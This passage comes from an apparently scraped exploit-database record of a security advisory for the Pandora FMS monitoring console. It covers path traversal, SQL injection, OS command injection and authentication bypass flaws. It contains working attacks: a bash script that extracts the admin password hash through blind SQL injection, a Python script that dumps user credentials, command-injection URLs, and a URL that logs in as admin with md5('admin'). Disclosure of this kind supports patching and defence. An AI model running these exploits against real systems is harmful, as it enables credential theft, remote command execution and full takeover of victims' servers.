parameter is\r\nhandled in an insecure way and it is used to write and delete files on\r\nthe filesystem.\r\nAn attacker could use this parameter to write in arbitrary paths and\r\neven remove files.\r\n \r\nSnippet of vulnerable code:\r\n \r\n32 $layout = (string) get_parameter ('layout', 'radial');\r\n...\r\n137 $filename_map = $config[\"attachment_store\"].\"/networkmap_\".$layout;\r\n138 $filename_img = \"attachment/networkmap_\".$layout.\"_\".$font_size;\r\n139 $filename_dot = $config[\"attachment_store\"].\"/networkmap_\".$layout;\r\n...\r\n157 $fh = @fopen ($filename_dot, 'w');\r\n158 if ($fh === false) {\r\n159 $result = false;\r\n160 } else {\r\n161 fwrite ($fh, $graph);\r\n162 $cmd = \"$filter -Tcmapx -o\".$filename_map.\" -Tpng\r\n- -o\".$filename_img.\" \".$filename_dot;\r\n163 $result = system ($cmd);\r\n164 fclose ($fh);\r\n165 unlink ($filename_dot);\r\n166 }\r\n...\r\n178 require ($filename_map);\r\n \r\n \r\nCharacter sequences '../' could be used to write files (due -o parameter\r\nin lines 162 and 163), as well as potentially remove files (line 157,\r\n161 and 165) or include them (line 178)\r\nAs well like in 5.3 this issue is only exploitable in windows\r\nenvironments because the same reason.\r\n\r\n----------------------------------------\r\n\r\nBlind SQL Injection - CVE-2010-4280 - CVSS: 8.5/10\r\n \r\nThe parameter group_id of operation/agentes/estado_agente.php is\r\nvulnerable to blind sql injection.\r\n \r\n \r\nPoC:\r\nhttp://host/pandora_console/index.php?sec=estado&sec2=operation/agentes/estado_agente&group_id=24%29%20and%20%28select%20password%20from%20tusuario%20where%20ord%28substring%28password,1,1%29%29=49%20and%20id_user=0x61646d696e%29%20union%20select%20id_agente,%20nombre%20from%20tagente%20where%20id_grupo%20in%20%281\r\n \r\n \r\nExploit:\r\n \r\n#!/bin/bash\r\n# Pandora Flexible Monitoring System Blind SQL Injection PoC\r\n# Juan Galiana Lara\r\n# Gets the md5 hash password from a specific user\r\n#\r\n#configure host,cookie&group_id before use it\r\n#usage\r\n#$ ./getpassword.sh\r\n#74b444ff2785ea8bb9ae02c13b6a71f1\r\n \r\nHOST=\"HOST\"\r\nTARGET_USER=\"0x61646d696e\" #admin\r\nPATTERN=\"Interval\"\r\nCOOKIE=\"rq842tci6e5ib7t918c6sv1ml4\"\r\nCHARSET=(0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v\r\nw x y z)\r\nGROUP_ID=2\r\n \r\nj=1\r\nwhile [[ $j -lt 33 ]]; do\r\n i=0\r\n while [[ $i -lt ${#CHARSET[ () ]} ]]; do\r\n c=$(printf '%d' \"'${CHARSET[$i]}\")\r\n \r\nURL=\"http://$HOST/pandora_console/index.php?sec=estado&sec2=operation/agentes/estado_agente&group_id=$GROUP_ID%29%20and%20%28select%20password%20from%20tusuario%20where%20ord%28substring%28password,$j,1%29%29=$c%20and%20id_user=$TARGET_USER%29%20union%20select%20id_agente,%20nombre%20from%20tagente%20where%20id_grupo%20in%20%281\";;\r\n curl $URL --cookie \"PHPSESSID=$COOKIE\" 2> /dev/null | grep -q\r\n$PATTERN;\r\n if [ $? -eq 0 ]; then echo -n ${CHARSET[$i]}; break; fi;\r\n let i++\r\n done;\r\n if [[ $i -eq ${#CHARSET[ () ]} ]]; then echo \"Something went wrong!\";\r\nexit 1; fi\r\n let j++;\r\ndone\r\necho\r\nexit 0\r\n \r\n \r\nThe fix to these kind of issues was the implementation of a generic\r\nfilter against sql injection. A proper fix is planned for a major version.\r\n\r\n----------------------------------------\r\n\r\nSQL Injection - CVE-2010-4280 - CVSS 8.5/10\r\n \r\nThe parameter id_group when get_agents_group_json is equal to 1 is\r\nvulnerable to SQL Injection attacks.\r\n \r\nPoC:\r\nhttp://host/pandora_console/ajax.php?page=operation/agentes/ver_agente&get_agents_group_json=1&id_group=1/**/and/**/1=0/**/union/**/select/**/id_user,password/**/from/**/tusuario\r\n \r\n \r\nExploit:\r\n \r\n# Pandora Flexible Monitoring System SQL Injection PoC\r\n# Juan Galiana Lara\r\n# Gets the list of users and password from the database\r\n#\r\n#configure cookie&host before use it\r\n#usage\r\n#python sqlinj_users.py\r\n#admin:75b756ff2785ea8bb9ae02c13b6a71f1\r\n#...\r\n \r\nimport json\r\nimport urllib2\r\n \r\nheaders = {\"Cookie\": \"PHPSESSID=a4s3nf1tqv2fau8s6qhi6rutp9dahe9o\"}\r\n \r\nurl = \"http://HOST/pandora_console/ajax.php\";\r\nurl+=\r\n\"?page=operation/agentes/ver_agente&get_agents_group_json=1&id_group=1\"\r\nurl+=\r\n\"/**/and/**/1=0/**/union/**/select/**/id_user,password/**/from/**/tusuario\"\r\n \r\nreq = urllib2.Request(url,headers=headers)\r\nresp = urllib2.urlopen(req)\r\n \r\nusers = json.read(resp.read())\r\nfor user in users:\r\n print(user[\"id_agente\"]+\":\"+user[\"nombre\"])\r\n \r\n \r\nThe fix to these kind of issues was the implementation of a generic\r\nfilter against sql injection. A proper fix is planned for a major version.\r\n\r\n----------------------------------------\r\n\r\nOS Command Injection - CVE-2010-4278 - CVSS 9/10\r\n \r\nThe layout parameter in file operation/agentes/networkmap.php is not\r\nproperly filtered and allows an attacker to inject OS commands.\r\n \r\nSnippet of vulnerable code (file operation/agentes/networkmap.php):\r\n \r\n32 $layout = (string) get_parameter ('layout', 'radial');\r\n...\r\n137 $filename_map = $config[\"attachment_store\"].\"/networkmap_\".$layout;\r\n138 $filename_img = \"attachment/networkmap_\".$layout.\"_\".$font_size;\r\n139 $filename_dot = $config[\"attachment_store\"].\"/networkmap_\".$layout;\r\n...\r\n162 $cmd = \"$filter -Tcmapx -o\".$filename_map.\" -Tpng\r\n- -o\".$filename_img.\" \".$filename_dot;\r\n163 $result = system ($cmd);\r\n \r\nPoC:\r\n \r\nhttp://servername/pandora_console/index.php?login=1&login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;uname%20-a;\r\nhttp://servername/pandora_console/index.php?login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;id;\r\n \r\nIf we use vulnerability #1 (that permits bypass the authentication\r\nsystem and login as admin) with this issue, the CVSS will be 10/10.\r\n\r\n----------------------------------------\r\n\r\nAuthentication bypass - CVE-2010-4279 - CVSS: 10/10\r\n \r\nAn attacker could access to any account user, including admin, using the\r\n\"hash login\" authentication process. This kind of authentication method\r\nworks providing a username and a hash. The issue could be exploited\r\nremotely providing a username and the md5 of it when\r\n$config['loginhash_pwd'] is empty, that in fact is the default\r\nconfiguration.\r\n \r\nSnippet of vulnerable code in index.php:\r\n \r\n136 // Hash login process\r\n137 if (! isset ($config['id_user']) && isset ($_GET[\"loginhash\"])) {\r\n138 $loginhash_data = get_parameter(\"loginhash_data\", \"\");\r\n139 $loginhash_user = get_parameter(\"loginhash_user\", \"\");\r\n140\r\n141 if ($loginhash_data ==\r\nmd5($loginhash_user.$config[\"loginhash_pwd\"])) {\r\n142 logon_db ($loginhash_user, $_SERVER['REMOTE_ADDR']);\r\n143 $_SESSION['id_usuario'] = $loginhash_user;\r\n144 $config[\"id_user\"] = $loginhash_user;\r\n \r\n \r\n \r\nProof of concept:\r\n \r\nhttp://servername/pandora_console/index.php?loginhash_data=21232f297a57a5a743894a0e4a801fc3&loginhash_user=admin&loginhash=1\r\n \r\nGot it! admin! :)\r\n \r\nBy default, any installation of this software allows unauthenticated\r\nattackers to perform an authentication bypass and a privilege escalation\r\nto admin.\r\n \r\n \r\n1.1) Additionally, a manual modification in order to use the hash_hmac\r\nfunction instead of the weak statement md5 ( $string . $KEY) is\r\nencouraged for security purposes.\r\n \r\nSnippet of code (index.php, version 3.1.1):\r\n \r\n145 // Hash login process\r\n(...)\r\n150 if ($config[\"loginhash_pwd\"] != \"\" && $loginhash_data ==\r\nmd5($loginhash_user.$config[\"loginhash_pwd\"])) {\r\n \r\nIn line 150, use\r\nhash_hmac(\"sha256\",$loginhash_user,$config[\"loginhash_pwd\"]), instead of\r\nmd5($lioginhash_user.$config[\"loginhash_pwd\"])\r\n\r\n\r\n\n\n# 0day.today [2018-01-05] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/15008"}], "securityvulns": [{"lastseen": "2018-08-31T11:09:21", "bulletinFamily": "software", "description": "PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc.", "modified": "2006-11-13T00:00:00", "published": "2006-11-13T00:00:00", "id": "SECURITYVULNS:VULN:6815", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:6815", "title": "Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)", "type": "securityvulns", "cvss": {"score": 0.0, "vector": "NONE"}}]}
